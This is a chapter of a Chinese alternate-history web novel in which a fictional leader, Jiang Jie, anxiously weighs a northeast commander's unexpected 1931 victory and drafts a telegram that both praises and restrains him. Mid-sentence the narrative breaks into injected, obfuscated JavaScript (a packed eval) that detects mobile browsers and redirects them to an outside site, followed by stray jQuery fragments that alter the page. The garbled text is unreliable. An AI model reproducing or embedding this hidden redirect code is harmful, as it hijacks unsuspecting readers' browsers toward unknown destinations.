第97章 姜杰的心思(礼物加更)

作品:《通电全国,我东北王拒绝入关

    就在东北爆发战事之时,1931年9月20日,夜,京城,黄埔路官邸。


    秋夜的京城,暑气尚未完全消散,蝉鸣在夜色中聒噪不休。黄埔路官邸的书房里,门窗紧紧闭合,厚重的丝绒窗帘将街市的灯火与喧嚣彻底隔绝在外,只留下一室令人窒息的闷热与死寂。吊扇在头顶有气无力地旋转,发出单调的嗡嗡声响,搅动着房间里凝滞的空气,却始终无法驱散弥漫在四周的沉重与压抑。


    华夏**总统姜杰,身着一身熨烫平整的灰色中山装,背对着宽大的红木书桌,面朝墙壁上悬挂的巨幅国土地图,一动不动地伫立着。他的身姿依旧挺拔笔立,可微微佝偻的肩膀,以及垂在身侧、无意识紧握成拳的双手,早已将他内心翻涌的滔天巨浪暴露无遗。


    宽大的书桌上,凌乱地摆放着数份文件。最上方的一份,是今日上午侍从室机要处加急送来的、关于“东北事变”的紧急军情汇总报告。旁边,则是几份刚刚译出、字迹潦草却字字触目惊心的前线战报抄件。空气里弥漫着雪茄燃尽后的焦苦气息,混合着高级檀香,也压不住那一股从心底深处翻涌上来的刺骨寒意。


    战报上的每一个字眼,都如同烧红的烙铁,狠狠烫在姜杰的眼皮上,烫在他的心尖之上。从昨日凌晨接到章凉那一封震惊全国的“通电全国、抗击外敌”电文开始,一种混杂着极致震惊、荒谬、恐惧与难以言喻的颤栗的情绪,便死死攫住了他。一整天的军事商讨、外交问询、幕僚争论,都没能让他理清纷乱的思绪。此刻独自面对着地图上那片骤然燃起烽火的东北大地,他心头的惊涛骇浪,才彻底爆发出来。


    首先席卷而来的,是深入骨髓的恐惧。


    他怕什么?怕外敌这头被彻底激怒的战争巨兽,不顾一切全面扑来,将战火从关外烧向关内,将他苦心经营、尚未稳固的统一局面,将他全力推进的中原安定大业,将他小心翼翼维系的与海外各国的脆弱关系,统统碾得粉碎!章凉这个行事果决的年轻人,他知不知道自己在做什么?他这是在以身犯险,是在将整个国家、整个民族拖入一场前途未卜的危难之中!


    外敌国力强盛,军备精良,训练有素,拥有着顶尖的现代化军队,舰队实力傲视周边。而华夏联邦刚刚结束内部纷乱,名义上完成统一,实则各方势力交错,工业基础薄弱,军队装备落后,内部协调困难。拿什么与强敌抗衡?靠章凉在东北那二十余万装备混杂、队伍尚未完全整合的部队?靠一腔热血与勇气?那无异于以卵击石,自取险境。


    姜杰仿佛已经看见,敌军的战车冲破关卡,**落在北平、天津、上海、京城……他辛辛苦苦建立起来的联邦权威,他赖以稳固根基的黄埔系精锐队伍,将在对方的钢铁洪流面前灰飞烟灭。到那时,不仅东北不保,华北危急,江南也将陷入危难!他姜杰的地位,乃至整个**的统治,都将摇摇欲坠!更可怕的是,一旦全面战事爆发,国内蛰伏的反对势力、各地心怀异心的地方势力,又会趁机掀起怎样的风浪?


    这份恐惧,让他昨夜几乎彻夜未眠。今晨面对外敌驻华公使咄咄逼人的质问与**时,他的后背早已被冷汗浸湿。他只能含糊回应,将责任归于“地方将领自主行动”,强调**“毫不知情”“不予承认”,拼尽全力将事态控制在外交层面,避免进一步升级。他甚至在心底深处,隐隐希望章凉能够稳住局势,用一场坚决的抵抗,守住东北,让外敌知难而退,也让国内高涨的抗敌情绪得以安放。


    然而……


    紧接着传来的前线战报,让他心中涌起了无法抑制、冲破恐惧的激动与震撼。


    “歼敌逾万……俘获敌军主将……击溃第二师团……兵临旅顺……”


    每一个字,都像是一记重锤,狠狠砸在他固有的认知之上,也点燃了他心底沉寂已久、几乎被现实磨灭的家国热血。


    赢了?章凉竟然……真的打赢了?而且不是小胜,是一场酣畅淋漓的大捷!是歼灭敌军一个主力旅团,击退其王牌师团进攻,甚至反推至对方据点门口的大胜!


    这怎么可能?!敌军精锐部队不是号称战力强悍吗?第二师团、第十五旅团不是顶尖精锐吗?怎么会战败?而且败得如此惨重?


    姜杰猛地转过身,快步冲到书桌前,抓起那几份战报抄件,手指微微颤抖着,再次仔细阅览。没错,电文来自数个相对可靠的渠道,相互印证。歼敌数字或许略有浮动,但击退敌军对奉天的总攻、天野旅团被围歼、东北部队兵锋直指旅大,这些核心事实,绝无虚假。


    一股奇异的热流,顺着脊椎直冲头顶。那是一种混杂着难以置信、扬眉吐气,甚至连他自己都不愿深究的复杂情绪。


    自数十年前以来,华夏军队对阵这支外敌,何曾有过如此辉煌的战绩?何曾成建制歼灭敌军?何曾将战火反推至对方占据的区域?


    这是胜利!是实实在在、振奋人心的胜利!是能够洗刷过往**、振奋全国民心的胜利!


    姜杰仿佛已经听见,此刻全国各大城市中,报童挥舞着号外,嘶声呐喊“北疆大捷”的声音;能想象到,无数学生、工人、市民走上街头,欢呼雀跃、热泪盈眶的场景;能感受到,那股被压抑太久的民族情绪,正如同火山喷发一般汹涌而出。而这股力量,是任何政府、任何个人都无法忽视,甚至可以顺势凝聚的力量。


    如果……如果章凉真的能顶住外敌后续的疯狂反扑,如果东北战局能够稳住甚至扩大战果……那么他,是否能借此凝聚全国力量,整合国内各方势力,安抚民心,甚至调整对外的整体策略?毕竟,民众需要的是抵御外侮的英雄,而他,可以成为站在后方、统筹全局的最高领袖。


    这个念头一闪现,姜杰的心跳便不由自主地加快。掌权者的本能,让他瞬间看清了危机之中蕴藏的巨大机遇。章凉的自主行动固然出人意料,但若结果对国家有利,那么他作为**领袖,完全可以也必须将这份功劳与荣光,尽数归于国家与统一指挥之下。这便是大局。


    然而,激动与筹谋的潮水退去之后,更深沉的忧虑,如同冰冷的礁石,再次浮出水面。


    章凉……这个章家的年轻人,他到底想做什么?


    他真的只是为了守卫疆土、抵御侵略吗?还是有着更大的抱负?经此一役,他在东北的威望将会达到何等顶峰?那二十余万经历战火淬炼的东北部队,又会对他何等忠心耿耿?到那时,他还会将京城、将他姜杰放在眼里吗?


    一个手握重兵、战绩显赫、深得民心的东北镇守者,对联邦权威的威胁,丝毫不亚于外敌!今日他能自主下令抗击外敌,明日便能自主决断任何大事!甚至……如果他继续高歌猛进,真的收复旅大,他会不会以民族英雄自居,向联邦索要更大的权柄,甚至生出更远大的志向?


    历史之上,功高震主、势力坐大的例子,数不胜数。


    还有国际方面。海外各国对外敌在东北的扩张本就心存顾虑,章凉的胜利,会不会让他们改变态度,从观望转为对华暗中同情与支持?可若是支持过度,导致外敌彻底疯狂,发动全面入侵


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199928|196594||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,各国又是否愿意、是否有能力为华夏联邦与外敌开战?北方的邻国,又会扮演怎样的角色?会不会趁机谋取利益?


    更重要的是,外敌绝不会善罢甘休!损失一个旅团,对他们而言是奇耻大辱!敌军前线指挥与东京大本营,一定会调集更多兵力,发动更凶猛的反扑。章凉能顶住第一波,能顶住第二波、第三波吗?当外敌倾尽全国之力压来,东北的兵力,又能支撑多久?一旦北疆战局逆转,遭遇惨败,那么此刻被胜利鼓舞起来的民心士气,将会跌落到何种地步?到那时,所有的压力、所有的指责,会不会都落在他这位联邦领袖的头上?


    到那时,他姜杰,便会里外不是人,成为天下众矢之的!


    恐惧、激动、忧虑……种种情绪在姜杰胸中交织碰撞,让他头痛欲裂。他走到窗前,猛地拉开一丝窗帘缝隙。京城的灯火在夜色中明明灭灭,远处隐约传来报童叫卖号外的悠长声音,带着这个夜晚特有的躁动与不安。


    他久久伫立,凝视着窗外这片他苦心经营、视为根基的土地,目光最终投向北方那片黑暗、正被战火照亮的天际。


    章凉……你究竟是力挽狂澜的国之栋梁,还是搅动天下风云的变数?


    你点燃的这把战火,烧掉的究竟是外敌的狼子野心,还是……我辈苦心维持的脆弱平衡与基业?


    良久,姜杰缓缓合上窗帘,将喧嚣与灯火重新隔绝在外。他走回书桌后坐下,拿起钢笔,铺开一张特制信笺。笔尖在墨池中蘸了又蘸,悬在半空,迟迟没有落下。


    最终,他落笔书写,字迹力透纸背,带着刻意凝练的沉稳:


    “章凉吾弟勋鉴:惊闻奉天剧变,外敌悍然启衅,吾弟临危受命,率东北健儿奋起抵抗,浴血鏖战,屡挫强敌,捷报传来,举国振奋,兄亦感佩莫名!吾弟为国纾难,功在社稷。然强敌势大,亡我之心不死,后续恶战必更为惨烈。望吾弟稳扎稳打,勿骄勿躁,固守既有战果。联邦对此事极为关注,正全力研讨应对之策。对外交涉,宜由联邦统筹,以免授人以柄。所需饷械物资,可据实呈报,兄当竭力筹措。另,兹事体大,牵动全局,吾弟一切行动,务必与联邦保持密切沟通,以期步调一致,共御外侮。专此布达,伫候佳音。兄姜杰手启。”


    写罢,他放下钢笔,轻轻吹干墨迹,眼神复杂地看着这封即将发往奉天的电报。


    这既是一封嘉奖令,也是一道约束;既表达了支持,也划定了界限;既分享了荣耀,也强调了统一服从。


    他不能公开反对章凉,因为**沸腾;他也不能贸然全力支持,因为后果难料。他只能走在这条狭窄的钢丝之上,在恐惧、激动与深忧之间,寻找那微妙的、对国家与大局最有利的平衡点。


    他将电报递给侍立一旁的机要秘书:“即刻发出,使用最高密电码。另外,通知军政部、外交部、宣传部负责人,明早八点,召开紧急联席会议。议题……研讨东北战事善后及全面应对策略。”


    “是。”


    秘书悄然退下,书房里重归寂静。


    姜杰靠在椅背上,闭上双眼,手指用力揉着发胀的太阳穴。东北的战火映红天际,也映红了他内心深处翻腾不息的筹谋、责任与深深的不安。


    这场由章凉点燃的战事,究竟会将这个国家,将他个人的命运,带向何方?


    他没有答案。


    他只知道,从这一刻起,他必须打起十二分的精神,应对这场突如其来的风暴。无论是为了这个国家,还是为了肩上的责任。